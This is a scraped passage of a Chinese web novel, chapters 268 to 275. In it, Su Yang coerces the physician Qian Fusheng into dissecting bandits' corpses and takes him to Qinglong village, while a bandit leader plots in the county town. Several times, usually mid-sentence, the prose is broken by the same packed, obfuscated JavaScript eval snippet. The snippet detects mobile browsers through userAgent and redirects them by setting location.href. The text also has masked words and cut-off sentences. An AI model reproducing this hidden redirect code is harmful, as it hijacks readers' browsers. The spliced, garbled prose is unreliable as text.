苏阳的目光,像两把小刷子,在钱福生脸上来回刷着。 钱福生只觉得后背一阵发凉,冷汗“唰”地一下就下来了。 这哪里是谜题? 这分明是催命符啊! 他“扑通”一声跪倒在地,声音都变了调: “苏……苏老弟,小东人,我错了!我真错了!您大人不记小人过,就饶了我这一回吧!” 苏阳身后,几个小子看得一头雾水。 这都哪儿跟哪儿啊? 阳哥儿这谜题也太简单了,明摆着是活的嘛! 钱掌柜的咋还吓成这样了? 几个人交换着眼神,都想从对方那里找到答案。 孔远山的脑门上,更是急出了一层细密的汗珠。 他心里那个急啊! 这要是能答出来,阳哥儿肯定对自己高看一眼! 可这……这到底咋回事呢? 他眼珠子滴溜溜乱转,恨不得把眼珠子转到脑子里去。 突然,他灵光一闪! “有了!” 孔远山一拍大腿,声音都有些发颤: “阳哥儿,我……我知道了!” 钱福生一听,差点没吓晕过去。 他“咚咚咚”地磕着头,像是要把地板磕穿: “小东人,您发发慈悲,千万别伤害我闺女!我给您磕头了!” 苏阳没有理会钱福生,而是饶有兴致地看着孔远山: “哦?远山,你说说看。” 孔远山深吸一口气,定了定神: “阳哥儿,您哥攥着麻雀,问您死活。您要是说活的,他一使劲,麻雀就**。您要是说死的,他一撒手,麻雀就飞了。横竖都是个错,对不对?” “嗯,有点意思。” 苏阳点点头,又摇摇头: “不过,还差了点儿。” 孔远山顿时泄了气。 苏阳转头看向钱福生,语气淡淡的: “老钱,起来吧。地上凉,别跪坏了身子。” 钱福生却像是没听见似的,依旧跪在地上,头都不敢抬。 苏阳也不再劝,只是慢悠悠地说道: “老钱啊,一千两银子,对你来说,应该不算啥难事吧?” 钱福生身子一僵,缓缓抬起头,一张脸比苦瓜还苦: “小东人,您……您这是啥意思?” “没啥意思。” 苏阳笑了笑: “就是想跟你借点儿银子花花。” 钱福生心里一阵抽搐。 一千两! 还“借”? 这跟明抢有啥区别? 他当然拿得出这笔钱。 可那是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏阳向钱福生招了招手,声音不高,却带着一股不容抗拒的意味。 他嘴角微微上扬,勾勒出一抹意味深长的笑容,让人捉摸不透他心里到底在想些什么。 第二百六十九章 钱福生只觉得心头一紧,一股不祥的预感涌上心头。 可眼下这局面,他除了硬着头皮走上前,还能有什么办法? “苏……苏阳,你……你想干啥?” 钱福生的声音有些发颤,目光闪躲,不敢直视苏阳那双似乎能看穿一切的眼睛。 “别害怕,给你看点好东西。” 苏阳嘴上这么说着,手上动作可一点都不含糊。 他一把抓住钱福生的手腕,不由分说地将他拽到一具尸体旁边。 那尸体身上还插着几支**箭,鲜血早已凝固,暗红色的血迹在破烂的衣服上晕染开来,触目惊心。 钱福生只看了一眼,就觉得胃里一阵翻腾,差点没当场吐出来。 他强忍着恶心,把头扭到一边,不敢再看。 “老钱,你看仔细了。” 苏阳的声音再次响起,语气中带着几分不容置疑的威严。 他指着尸体,缓缓开口,像是一位经验丰富的夫子,正在给自己的学生传授毕生绝学。 “人体,分为头、颈、躯干和四肢几大部分,这些事情你都懂,我就不多说了。” 他顿了顿,目光在钱福生身上扫过。 钱福生微微点了点头,这些他当然知道,只是不明白苏阳葫芦里卖的什么药。 苏阳似乎看穿了他的心思,却并没有直接点破,而是继续说道: “你看这里……” 他指着尸体上被**箭射穿的伤口,语气突然变得严肃起来。 “这人体最外面的一层,叫做皮肤,有保护、感觉等作用。” 他一边说,一边用刀尖轻轻挑起伤口边缘的皮肤,让钱福生看得更清楚些。 “皮肤下面,是这一层黄色的东西,叫做脂肪,就是大家口中的膘肉。” 苏阳又用刀尖挑起一点黄色的组织,在钱福生眼前晃了晃。 “这脂肪,不仅能保暖,还能储存能量,就像……就像粮仓里的粮食一样,关键时刻能救命。” 他换了一种更通俗易懂的说法,试图让钱福生更容易理解。 为了加强效果,苏阳还冷不丁地抛出一个问题: “对了,老钱,你说说看,人体脂肪为何呈现金黄,猪身上的膘却是雪白的?” 这问题,看似简单,实则暗藏玄机。 钱福生愣了一下,支支吾吾说不出个所以然来。 他平日里只管看病抓药,哪研究过这些? 苏阳见状,也不催促,只是静静地看着他,嘴角带着一丝玩味的笑容。 “呕……” 钱福生终于还是没忍住,胃里一阵剧烈的痉挛,一股酸水直往上涌。 他猛地转过身,扶着墙壁,干呕起来。 那场面,实在是……有点惨不忍睹。 苏阳手下的那帮小子,也一个个看得目瞪口呆。 他们有的捂着嘴,强忍着笑意;有的皱着眉,一脸嫌弃;还有的,干脆把头扭到一边,不敢再看。 “阳哥儿……真乃神人也!” “什么都知道!” “这些东西,他都是从哪儿学来的?” “莫非真是菩萨座下的济富童子,生而知之?” “真是太厉害了!” …… 各种各样的议论声,在人群中嗡嗡作响。 每个人脸上都写满了惊叹和敬佩。 苏阳对周围的反应,却毫不在意。 他只盯着钱福生,眼中闪过一丝不易察觉的精光。 在他看来,身为一名大夫,连这点场面都受不了,还谈什么救死扶伤? 趁早回家抱孩子去吧! “老钱,你没事吧?” 苏阳明知故问,语气中带着几分戏谑。 “没……没事……” 钱福生有气无力地摆了摆手,脸色苍白如纸,额头上渗出细密的汗珠。 他强忍着恶心,慢慢转过身,重新看向那具血淋淋的尸体。 为了亲生女儿,他豁出去了! “看仔细了!” 苏阳的声音再次响起,带着几分不容置疑的威严。 “待会我要考考你!你若是说不出个所以然……” 他故意拉长了声音,目光在钱福生身上扫来扫去。 “你家那只鹅,可就真的要遭殃了!” 苏阳瞪起眼睛,语气中带着几分威胁的意味。 钱福生一个激灵,顿时清醒过来。 他可不想因为自己答不上来问题,连累了自家闺女。 “我……我看,我看……” 钱福生的声音有些发颤,却透着一股前所未有的坚定。 他深吸一口气,强迫自己集中精神,仔细观察着尸体上的每一个细节。 哪怕再恶心,再害怕,他也绝不能退缩! 钱福生在心中暗暗给自己鼓劲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428894|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他知道,自己现在是骑虎难下,只能一条道走到黑了。 同时,他也在心里给苏阳贴上了一个标签——“疯子”! “这小子,绝对是个疯子!正常人,谁会逼着别人研究尸体?” 钱福生心中暗骂,却又无可奈何。 苏阳可不管钱福生怎么想。 他继续指着尸体,滔滔不绝: “老钱,我们继续深入观察。” “脂肪下面,是肌肉,这些红色的,就是肌肉。” 他一边说,一边用刀尖拨弄着尸体的肌肉组织。 “肌肉能收缩,能舒张,人能跑能跳,能拿东西,全靠它。” “肌肉里面,就是骨头,骨头支撑着整个身体,就像……就像房子的梁柱一样。” 他用刀柄轻轻敲了敲尸体的骨头,发出“梆梆”的声响。 “对了,老钱,瞧瞧这些鲜红的血管,明白它们的作用吗?” 苏阳指着那些粗细不一的血管,又抛出一个问题。 钱福生这次学聪明了,没敢贸然回答,而是仔细观察起来。 那些血管,有的颜色深,有的颜色浅,在尸体中纵横交错,像一张巨大的网。 “这是……血脉?” 钱福生试探着问道,语气中带着几分不确定。 “答对了!” 苏阳猛地一拍大腿,声音大的吓人。 “老钱你真是太聪明了!观察力也强!看来,我真是小瞧你了!” 他脸上露出夸张的笑容,毫不吝啬地夸赞道。 “不提鹅,行不行?” 钱福生却是一脸苦涩,小声嘟囔了一句。 “好,不提鹅,让我们深入探索身体构造。” 苏阳笑着,似乎很满意钱福生的反应。 他指着那些血管: “血管,正是你提到的经脉,这里面流淌的,是维持生命的血液。” “不同的血管,流淌的血液也不同。颜色深的,是静脉血,颜色浅的,是动脉血。” 苏阳尽量用通俗易懂的语言,给钱福生解释着这些医学常识。 他虽然不是学医的,但这些基本的知识,他还是知道的。 毕竟,高考的时候,生物学可是理科党的必修课。 和后世那些专业的医生相比,他这点知识,当然不值一提。 可在这个时代,他的解剖学知识,绝对能让大多数人望尘莫及! 第二百七十章 别说普通人了,就连钱福生这个所谓的清阳县名医,也得甘拜下风! 苏阳心中暗自得意。 他知道,这个时代的中医,之所以在外科方面如此落后,跟当时的社会文化有很大的关系。 人们常说“身体发肤,受之父母,不敢毁伤,孝之始也”。 在这种观念的影响下,人们对尸体总是怀着一种敬畏之心,不敢轻易触碰。 更别说像后世那样,把尸体当成实验品,进行解剖研究了。 谁要是敢这么做,那绝对是冒天下之大不韪,会被人戳脊梁骨的! 甚至连官府都不会放过他! 苏阳心里跟明镜似的,所以他才要拉上钱福生。 一来,钱福生是医生,对人体构造有一定的了解,更容易接受他的“新理论”。 二来,钱福生有把柄在他手里,不敢不听他的话。 三来嘛……苏阳心中冷笑,他就是要让钱福生,成为他打开中医外科大门的“钥匙”! 苏阳一边讲解,一边用余光观察着钱福生的反应。 他发现,钱福生的神情,正在悄然发生着变化。 从一开始的恐惧、恶心,到后来的疑惑、惊讶,再到现在的……专注、投入! 没错,就是专注和投入! 钱福生的眼睛,死死地盯着尸体,一眨不眨,仿佛那不是一具冰冷的尸体,而是一件稀世珍宝! 他的脸上,再也看不到一丝勉强,取而代之的,是一种近乎痴迷的神情。 钱福生的变化,让苏阳心中暗喜。 他知道,自己的计划,已经成功了一半! 他要的就是这种效果! 他要让钱福生,彻底迷上解剖学,成为他最得力的助手! 钱福生此刻,已经完全沉浸在了对人体奥秘的探索之中。 他仿佛打开了一扇新世界的大门,看到了一个前所未有的广阔天地。 以前,他只知道血脉能运输养料,维持人的生命。 可具体是怎么运输的,血脉之间有什么区别,他却一无所知。 现在,听了苏阳的讲解,他才恍然大悟。 原来,血脉也分阴阳! 动脉血,属阳,色鲜红,充满活力;静脉血,属阴,色暗淡,较为沉静。 这阴阳之分,不正是中医理论的核心吗? 钱福生越想越觉得有道理,越想越觉得兴奋。 他仿佛看到了中医的另一片天地,一个充满无限可能的新领域! 苏阳看着钱福生那副如痴如醉的模样,心中更加得意。 他知道,自己已经成功地在钱福生的心中,埋下了一颗“种子”。 一颗对解剖学充满渴望的种子! 这颗种子,会生根,会发芽,最终,会结出丰硕的果实! 苏阳并没有停下来的意思,他继续指着尸体的各个部位,滔滔不绝地讲解着。 时间,一分一秒地过去。 不知不觉,已经过去了两个多时辰。 苏阳讲得口干舌燥,钱福生却听得津津有味,丝毫没有疲倦的意思。 他甚至开始主动向苏阳提出各种问题,每一个问题,都直指人体构造的核心。 到了后来,钱福生已经完全不需要苏阳动手。 他自己拿着刀,小心翼翼地解剖着尸体,划开皮肤,划开肌肉,划开腹腔…… 他仔细观察着尸体内部的每一个器官,每一个组织,每一个细节。 他仿佛忘记了周围的一切,忘记了时间,忘记了恐惧,甚至……忘记了自己还有一个“鹅”在苏阳手里! 钱福生觉得自己前半辈子都白活了,对不起列祖列宗。 他一边这么想着,一边拿起了尖刀,直接亲自动手。 凝视着遗体内的器官,苏阳给他讲解这些内脏的作用。 钱福生感觉自己之前的几十年,简直是白活了。 苏阳手下的那帮小子,早就没了耐心,一个个无精打采地站在一旁。 寒风瑟瑟,夜幕降临,可这两人,还在尸体旁“奋斗”着。 看样子,不折腾到天亮,是不会罢休了。 “阳哥儿……真是神了!可钱掌柜……这是怎么了?” “一个郎中,为何对遗体如此着迷?” “莫非……这就是阳哥儿常说的……变态?” “嘘……小声点,别让他们听见了!” …… 议论声,渐渐低了下去,最终,消失在了寒冷的夜风中。 就连苏阳,此刻也觉得钱福生有点不正常了。 刚开始的时候,这老小子还推三阻四,不情不愿的。 现在倒好,完全像是变了一个人,比自己还积极,还投入! 那股子狂热劲儿,简直就像……就像一个饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可惜了,真是可惜,早知道留着慢慢研究了… 第二百七十一章 …” “嘎!” 最后一个土匪也腿一蹬,没气了。 与其被这群疯子当成玩物,还不如自己把自己吓死来得痛快! 苏阳也麻了爪了。 想要培养出一位医术精湛的神医,可不是想培养一个变态的科学狂人啊! “老钱,先别研究了!这天都快黑透了,你赶紧溜吧!” 苏阳担心再出什么幺蛾子,赶紧发话。 几个小子可不管那么多,七手八脚地把尸体扔进了事先挖好的坑里,三下五除二就给埋了,主打的就是一个效率。 “哎,我的研究材料啊……” 眼瞅着几具难得的“研究材料”就这么没了,钱福生心疼得直拍大腿,手里的虎头弯刀也顾不上危险了,比划来比划去,上头的血滴子乱飞。 一众小子吓得连忙躲闪,生怕被溅上一身血。 好不容易,钱福生才从那种发现新大陆般的狂热中回过神来。 “苏老弟,我不能回去。你想,那些青虎岭的土匪是冲我来的,我这就撤了,他们却没走,青虎岭那个四当家能善罢甘休吗?” 钱福生擦了把脸,也顾不上干净不干净,满脸血污,急切地说道。 苏阳一琢磨,也有道理。 钱福生要是回去,很可能被顾明远抓个正着。屈打成招之下,这老家伙必定撑不了,到时候非把自己供出来不可。 “得,老钱,那你就跟我们一块儿走吧。但是咱们得事先约定清楚,假如青虎岭的山贼威胁你的亲人,你别记恨我们。” 苏阳把丑话说在前头。 钱福生家里还有个老婆,也就是钱晓柔她娘。 钱福生心思电转,觉得还是不回去更稳妥。 不回去,老婆或许还能保住一条命,或者少受些罪。 若是此刻返回,顾明远一旦把自己抓起来,他老婆肯定没有好果子吃。 再说了,跟着苏阳,还能摸清他们的窝点位置,没准还能见到自家宝贝闺女。 想到这里,钱福生一咬牙,为了闺女,拼了! “中,苏老弟,我就跟你走了!” 苏阳压根没觉得带钱福生回去有什么不妥。 他早就跟钱福生说过自己是青龙村人。再说,钱福生的闺女也在青龙村,迟早会查个水落石出。 一个医生的作用,可比一个小丫头大多了。 钱福生坐在马车上,一路颠簸,跟着苏阳一行人往回赶。 一路上,他心里七上八下的。 众人朝着西边进发,他越琢磨越觉得这路线眼熟。 等过了临溪村,继续向前走,钱福生心里已经有了八成把握。 这帮家伙还真是青龙村的! 天色完全黑下来之前,众人总算抵达了青龙村。 村口,早就有人等着了。 见大伙儿归来,人群中立刻就炸开了锅,欢呼声此起彼伏,都是那些人的家属来迎接了。 苏阳眼神好,立即发现人群前方站着林绮娘。 现在苏阳在村里说一不二,林绮娘也跟着水涨船高,谁也不敢小瞧了她。 不过,苏阳的眉头很快就皱了起来。 因为他看到林绮娘身后,一位娇俏可爱的小姑娘正在雀跃,不是钱晓柔的小丫鬟翠环还能是谁? 这小丫头片子咋也在这儿? 苏阳心里犯起了嘀咕,自己跟这丫头可没啥交情啊? 钱福生这会儿可管不了那么多了,他一眼就看到了人群中的小丫鬟翠环,当时就急眼了。 “我的个娘啊!” 钱福生嗷一嗓子怪叫,也顾不上别的,直接从马车上蹦了下来,就往人群那边冲! 他这一嗓子把几个负责迎接的小子吓了一跳,还以为是来了敌人。 几个小子眼疾手快,“唰唰唰”几下就亮出了**,枪尖直指钱福生的胸口! “哎呦!” 钱福生吓得魂儿都飞了,两腿一软,差点儿没坐地上。 他急忙刹住脚步,堪堪停在了枪尖前。 几滴冷汗顺着额角就淌了下来。 这**还是青龙村吗?咋跟龙潭虎穴似的! 人群中,钱晓柔和翠环也看见了这边的情况。 可天色昏暗,俩人又都没往那方面想,一时半会儿,愣是没认出钱福生。 钱福生可不管那些,他一眼就认出了自家闺女和丫鬟。 “晓柔!翠环!” 他扯着嘶哑的嗓子大喊,顾不上胸前的**,就想往那边挤。 几个执勤的小子立刻拦住他。 “干什么的!退后!” 村里人声嘈杂,钱福生的声音又嘶哑,翠环压根就没听出是他。 见一个浑身是血,一个不修边幅的人想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一声,却如同惊雷,劈开了钱福生心头的阴霾,炸得他浑身一震。 “晓柔!是爹啊!你…… 第二百七十二章 你没事吧?”钱福生激动得舌头都打结了,踉踉跄跄地就要冲上去,紧紧抱住自己的女儿。 “老爷,您……您怎么弄成这副样子了?” 确认了血人真是自家老爷,翠环“哇”的一声就哭了出来,眼泪鼻涕糊了一脸。 钱福生那个尴尬啊,恨不得找个地缝钻进去。 两次!整整两次! 都在同一个地方,被同一伙该死的土匪抢了个精光! 这种丢人现眼的事,他怎么好意思当着自家闺女的面说出口? “咳……咳咳,这些……这些事,以后再说,以后再说……晓柔,你没事就好,没事就好。”钱福生拼命地转移话题,眼神闪躲,不敢去看女儿的眼睛。 钱晓柔刚刚死里逃生,这会儿又乍一见到亲爹,整个人都激动到颤抖。她下意识地,就想扑进父亲那熟悉的怀抱里寻求安慰。 这一个动作,可把钱福生吓得够呛,差点没跳起来。 他这闺女,一向内敛文静,守礼得很,今天这是怎么了?这么主动? 难道…… 一个可怕的念头,像毒蛇一样,瞬间缠上了钱福生的心脏。 钱福生的目光,急切地落在了钱晓柔的发髻上。 还好,还好,还是少女的发式,梳得整整齐齐。 至少,从表面上看,自己闺女还是清白的。他暗暗松了口气,悬着的心,稍稍放下了一些。 “老爷,您可得给小姐做主啊!苏阳那个小公子,他……他居然强吻了那位姑娘……” 翠环突然想起这茬,哭嚎着就要告状,声音尖锐得像要刺破人的耳膜。 “嘎!” 钱福生只觉得眼前一黑,两眼一翻,身体像一截木头桩子,直挺挺地向后倒去。 “啊!快来人啊!老爷晕过去了!老爷晕了!” 原本该是温馨的父女相见,硬生生被翠环这一嗓子给搅和了,变得滑稽又可笑。 苏阳站在人群外围,本来还抱着膀子看热闹,一听这话,脸都绿了。这小丫头片子,嘴巴也太没把门了! 他三步并作两步冲上前,拨开人群。 翠环正哭得上气不接下气,冷不丁瞧见苏阳那张阴沉的脸,吓得一哆嗦,硬生生把后半截话给咽了回去。 “小丫头,饭可以乱吃,话可不能乱说!”苏阳压低声音,恶狠狠地警告。 翠环这会儿,是又惊又怕,又羞又悔,眼泪“唰唰”地往下掉,像断了线的珠子。 “我……我……”她抽抽噎噎,想解释,却又不知道该从何说起。 苏阳懒得理她,从腰间摸出一个竹筒,拔掉塞子,走到钱福生身边,毫不犹豫地将里面的凉水,照着钱福生的脸就泼了下去。 “哗——” 冰凉的水,瞬间浇了钱福生一个透心凉。 冷水一激,钱福生打了个哆嗦,悠悠转醒。 结果,他刚一睁开眼,就看见苏阳那张似笑非笑的脸,正居高临下地看着自己。 “嘎!” 钱福生只觉得一股寒气从脚底板直窜脑门,惊叫一声,干脆利落地又晕了过去。 苏阳彻底无语了。 这算什么事儿啊! 没办法,只能继续泼! “哗啦!” 冰凉的水,再次无情地泼在了钱福生的脸上。 钱福生一个激灵,醒了。 然后…… “嘎!” 不出意外,他又晕了。 苏阳彻底没脾气了。 他揉了揉眉心,感觉一阵头疼。再这么折腾下去,老钱不死也得废了。 “远山,你来!”苏阳有气无力地吩咐道。 “好嘞!” 孔远山一听,顿时来了精神,屁颠屁颠地跑了过来。 看来,还是自己在阳哥儿心里地位高啊!他暗自得意。 激动之下,孔远山下手就没了个轻重。 只见他,拎起一个更大的竹筒,对准钱福生,毫不犹豫地倒了下去。 “哗啦——” 满满一大竹筒凉水,劈头盖脸地浇了下去,那架势,跟发大水似的。 这下,钱福生是被彻底冻醒了。 他猛地打了个寒颤,猛地睁开眼睛。 还好,这次,他睁眼看到的,不是苏阳那张让他血压飙升的脸,总算没再晕过去。 翠环也意识到自己闯了大祸,连忙凑到钱福生身边,带着哭腔,迭声道歉: “老爷,老爷,我……我之前口误了,苏阳他……他没有亲小姐,真的没亲!只是……只是扶小姐起来的时候,不小心碰到了……” 翠环越说声音越小,最后几个字,几乎微不可闻。 “碰……碰哪儿了?”钱福生的声音,都在打颤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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村民们的好奇心,全都被勾了起来,一个个急得抓耳挠腮。 第二百七十三章 苏阳微微一笑,故作神秘地说道: “我跟你们说,我这法子,那可是祖传的秘术,一般人,我可不告诉他!” “为了救赵小姐,我可是把我压箱底的本事都使出来了!我跟你们说,我当时……哎呀,这事儿,说起来有点复杂,你们可能听不懂……” 苏阳故意卖了个关子,吞吞吐吐,欲言又止。 “哎呀,苏二,你就别卖关子了,赶紧说吧!” “就是啊,急**了!” 村民们被他吊足了胃口,一个个催促个不停。 苏阳这才清了清嗓子,继续说道: “简单来说,就是……我用一种特殊的内功,把赵小姐给救活了。这内功,那可是相当厉害,能起死回生,逆天改命!” “内功?起死回生?” “真的假的?苏二,你可别忽悠我们!” 村民们将信将疑,议论纷纷。 苏阳也不解释,只是神秘一笑,继续说道: “你们爱信不信!反正,我可没占赵小姐便宜!不信,你们问问赵小姐,问问翠环!” 钱福生听了,这才彻底放下心来。 他一个箭步冲到苏阳面前,激动地握住苏阳的手,语无伦次地说道: “好……好女婿……啊呸!好兄弟!不不不,小神医!从今往后,你就是我钱福生的师父!请受徒儿一拜!” 说着,钱福生就要跪下磕头。钱晓柔感觉自己像是被雷劈中,整个人都麻了。 先是听见亲爹要管苏阳叫女婿,她羞得恨不得找个地缝钻进去。 结果,一眨眼的功夫,老爹竟然又要拜苏阳为师? 这都什么跟什么啊! 钱晓柔脑子乱成一锅粥,比坏掉的留声机还混乱。 真要让老爹拜了师,自己以后可怎么办? 总不能嫁给自己的师爷吧!她又不是小龙女! 幸好,关键时刻苏阳还算靠谱,一口回绝了老爹的拜师请求。 当然,苏阳可不是给钱晓柔面子,他是真没打算收徒。 就他那点从系统里学来的半吊子医术,也就暂时能忽悠一下钱福生。 和当初忽悠陈木匠一样,说多错多,时间长了,难免露馅。 “我说老钱啊,咱们这一派,最讲究的就是一个‘德’字。” 苏阳清了清嗓子,开始了忽悠模式, “你呢,先在咱们村住下,认真努力干。给乡亲们看看病,积攒积攒功德,啥时候**了,我再考虑收你入门,你看怎么样?” 他这番话说得冠冕堂皇,把“德行”二字咬得极重,不知道的还以为他真是哪个道观里出来的高人。 事到如今,钱福生还能说什么,也只能点头应下了。 苏阳越是推三阻四,钱福生反而越发觉得他深不可测。 眼瞅着日头偏西,苏阳摆了摆手,遣散了围观的村民,带着林绮娘和钱福生父女回了家。 晚饭时分,钱晓柔把这段时间发生的事情,竹筒倒豆子般,一五一十地全都告诉了钱福生。 从在前庭院赏花时被青虎岭的土匪**,到被苏阳“碰巧”救下,再到后来在青龙村避难…… 钱晓柔说得十分详细,甚至连自己被吓哭了几次都如实交代。 了解完闺女的倾诉,钱福生一颗悬着的心,总算是落了地。 可算是放了一半。 看来,女儿除了被苏阳救的时候,让他给按了几下胸,亲了几口嘴……外伤肯定是有的,内伤就不好说了。 钱福生猛地一拍桌子,声音都变了调。 “这……这简直是……无法无天!晓柔你放心,这事儿爹一定给你做主!” 钱福生越想越气,这哪是救人,分明是趁火**! “等你回了城,老爹必定为你寻个金龟婿,一定让你嫁入豪门,完全不被过往事所困扰!” 钱福生斩钉截铁地说,仿佛已经看到了女儿披上嫁衣的模样。 “啊?” 钱晓柔顿时傻眼了。 她的小脑袋瓜一时转不过弯来。 前几天还说要把自己许配给苏阳,怎么一转眼就变卦了呢? 她这才反应过来,老爹好像还真没亲口说过要把她嫁给苏阳,这都是小丫鬟翠环一厢情愿。 钱晓柔正惊诧着,一旁的翠环反应比她还大, “老爷!您不能这样啊!苏公子他对小姐做了那样的事……小姐清白都没了,以后还怎么嫁人啊?您得让他负责到底啊!” 翠环急得直跺脚,声音都带了哭腔。 “你个小丫头片子,主子的事,什么时候轮到你来指手画脚了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谁知,苏阳听了这句话,第一反应不是心疼,竟然是嫌弃。 “打住!你这丫头,说话怎么这么别扭? 第二百七十四章 以后不许说"奴家",难听**!” 苏阳皱着眉头,一脸嫌弃。 “哼!” 林绮娘气得鼓起了腮帮子,像一只小河豚。 明明那两个狐狸精也一口一个“奴家”,也没见你说她们难听? 区别对待! 大猪蹄子! 本姑娘不理你了! …… 第二天上午,苏阳早早地就起了床。 他刚走出屋门,就看到钱福生在院子里来回踱步,像一只热锅上的蚂蚁。 “老钱,你这是干嘛呢?一大早的,不睡觉,在这儿转悠啥?” 苏阳打着哈欠问道。 “苏村正,我……我有件事想跟你商量。” 钱福生搓着手,一脸为难。 “啥事儿啊?你说。” 苏阳漫不经心地应道。 “你看,乡亲们都等着看病呢,可我这……没药也没针,巧妇难为无米之炊啊!” 钱福生苦着脸说道。 “这好办!” 苏阳大手一挥, “我这就让木生去镇上买药,至于针嘛……” 他上下打量了钱福生一番, “你该不会连推拿按摩都不会吧?” 钱福生老脸一红,支支吾吾地说不出话来。 “行了,别在这儿杵着了,赶紧去给乡亲们瞧病吧!” 苏阳说着,转身回屋, “记住,以指代针,以掌代药,这可是你们医家祖师爷传下来的绝学!” 钱福生站在原地,张了张嘴,最终还是没能说出话来。 他心里跟明镜似的,苏阳这哪是什么绝学,分明就是想让他白打工! 可人在屋檐下,不得不低头。 他现在是有家不能回,只能寄人篱下,任人摆布。 苏阳这边刚打发走了钱福生,就让二豹把村里几个平日里闲着没事干的婆娘叫了过来。 “你们几个,去村里宣传宣传,就说我从城里请来了一位名医,免费给大伙儿瞧病!” 苏阳吩咐道。 几个婆娘一听,顿时来了精神。 “村正大人,您说的是真的?真有免费瞧病的好事儿?” “那还有假?赶紧去,把这消息传遍全村,一个都不能落下!” 苏阳大手一挥,几个婆娘立刻风风火火地跑出了门。 这些婆娘平日里就喜欢串门聊天,传播消息的速度比风还快。 果然,转眼间几个时辰,整个青龙村就都知道了。 青龙村的村民们,平日里有个头疼脑热的,都只能硬扛着。 实在扛不住了,就去山上采点草药,胡乱熬点汤水喝下去,能不能好,全凭天意。 现在,村正大人竟然从城里请来了一位名医,还免费给大伙儿瞧病? 这可是破天荒头一遭啊! 谁还顾得上地里的活计? 一窝蜂地全都涌到了苏阳家门口,把个小院子围得水泄不通。清阳县,西城,凤子楼。 肥掌柜的宅院,乱糟糟一团。 一个身影在院子里急匆匆地走来走去,像没头苍蝇。 他是青虎岭的四当家,人称“醉墨书生”的顾明远。 “**,一群废物!八个活人,说没就没了?” 顾明远一脚踹翻了石桌,茶壶茶碗碎了一地。 他安排出去的八名兄弟,出去寻人,结果一夜之间,全都没了音讯。 前些日子,青虎岭被官兵剿了,麻当家萧煞带着一帮残兵败将,灰溜溜地跑到清阳县,投靠了他。 顾明远心里一万个不情愿。 可江湖规矩,不能寒了兄弟们的心。 谁想到,萧煞住进肥掌柜的别院后,屁事一堆。 张口闭口就是要银子,要好酒,要女人! 顾明远忍着肉疼,把肥掌柜的三个小妾送了过去。 萧煞刚丢了山寨,心情正坏,天天就知道喝酒。 一喝醉,就拿那几个女人撒气,没几天就弄**俩! 那些女人,可都是顾明远的心头肉! 更让他火大的是,萧煞竟然还没完没了,又来要人! 还嫌弃送去的“不够味儿”,要亲自来顾明远这里挑! 顾明远眯缝着眼睛,闪过一丝狠毒。 他手底下有十来个亲信,萧煞那边,也就六个。 但萧煞那身手,顾明远心里没底。 幸好,二当家死后,他手下几个心腹找到了顾明远,表示愿意跟着他。 这些人都是青虎岭的老人,身手不错。 顾明远当即就答应了。 团队扩展到十五六号人,顾明远腰杆子硬了些,正琢磨着找个机会,跟萧煞好好“说道说道”。 结果倒好,还没等他动手,八个手下就失踪了。 这一下,顾明远彻底慌了神。 瞬间损失一半战力,他还拿什么跟萧煞叫板? 萧煞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于后派出去的四个手下,也很容易解释。 苏阳能想到的,他顾明远自然也能猜到。 第二百七十五章 如果青龙村的泥腿子,杀了他头一批四个手下之后,没有立刻离开,而是守株待兔,那后面四个,自然也难逃毒手! 这可不是顾明远凭空瞎猜。 